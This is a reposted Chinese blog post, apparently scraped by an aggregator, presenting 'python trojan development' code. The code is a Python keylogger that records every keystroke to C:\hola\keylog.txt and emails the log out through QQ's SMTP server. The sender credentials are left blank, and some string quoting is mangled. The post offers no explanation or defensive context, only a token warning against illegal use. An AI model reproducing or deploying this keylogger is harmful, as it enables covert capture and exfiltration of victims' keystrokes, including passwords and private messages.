python trojan development 2nd —— use python to send mail and listen to the key board then combine th

Posted pwn2web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python trojan development 2nd —— use python to send mail and listen to the key board then combine th相关的知识,希望对你有一定的参考价值。

今晚先上代码,明天再说怎么写的,请勿用于非法用途!!!!!

 1 from pynput.keyboard import Key,Listener
 2 import logging
 3 import os
 4 import smtplib
 5 from email.mime.text import MIMEText
 6 from PIL import ImageGrab
 7 import random
 8 from time import *
 9 from email.mime.multipart import MIMEMultipart
10 from email.mime.text import MIMEText
11 from email.mime.image import MIMEImage
12 
13 def send_mail(filename):
14     file = open(filename,"r",encoding="UTF-8")
15     data = file.read()
16     file.close()
17     msg_from=@qq.com                                 #发送方邮箱
18     passwd=                                   #填入发送方邮箱的授权码
19     msg_to=
20 
21 
22     subject="python邮件测试"                                     #主题
23     content=data
24     msg = MIMEText(content,"plain","utf-8")
25     msg[Subject] = subject
26     msg[From] = msg_from
27     msg[To] = msg_to
28     try:
29         s = smtplib.SMTP_SSL("smtp.qq.com",465)
30         s.login(msg_from, passwd)
31         s.sendmail(msg_from, msg_to, msg.as_string())
32         print( "发送成功")
33     except:
34         print("发送失败")
35     finally:
36         s.quit()
37 
38 def mkdir(path):
39 
40     path = path.strip()
41     # 去除尾部  符号
42     path = path.rstrip("\")
43 
44     isExists = os.path.exists(path)
45 
46     # 判断结果
47     if not isExists:
48 
49         os.makedirs(path)
50 
51        # print(path + ‘ 创建成功‘)
52         return True
53     else:
54         # 如果目录存在则不创建,并提示目录已存在
55        # print(path + ‘ 目录已存在‘)
56         return False
57 
58 
59 # 定义要创建的目录
60 path = "C:\hola\"
61 # 调用函数
62 mkdir(path)
63 
64 logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
65 
66 
67 def press(key):
68     logging.info(key)
69     if key==Key.enter:
70         return False
71 
72 with Listener(on_press = press) as listener:
73     listener.join()
74 
75 
76 send_mail(path+"keylog.txt")

 

以上是关于python trojan development 2nd —— use python to send mail and listen to the key board then combine th的主要内容,如果未能解决你的问题,请参考以下文章

python Windows Trojan-BH_Python

Python Ethical Hacking - TROJANS Analysis

Python Ethical Hacking - TROJANS Analysis

Python Ethical Hacking - TROJANS Analysis

用python写trojan的过程中遇到的各种问题

Trojan是啥意思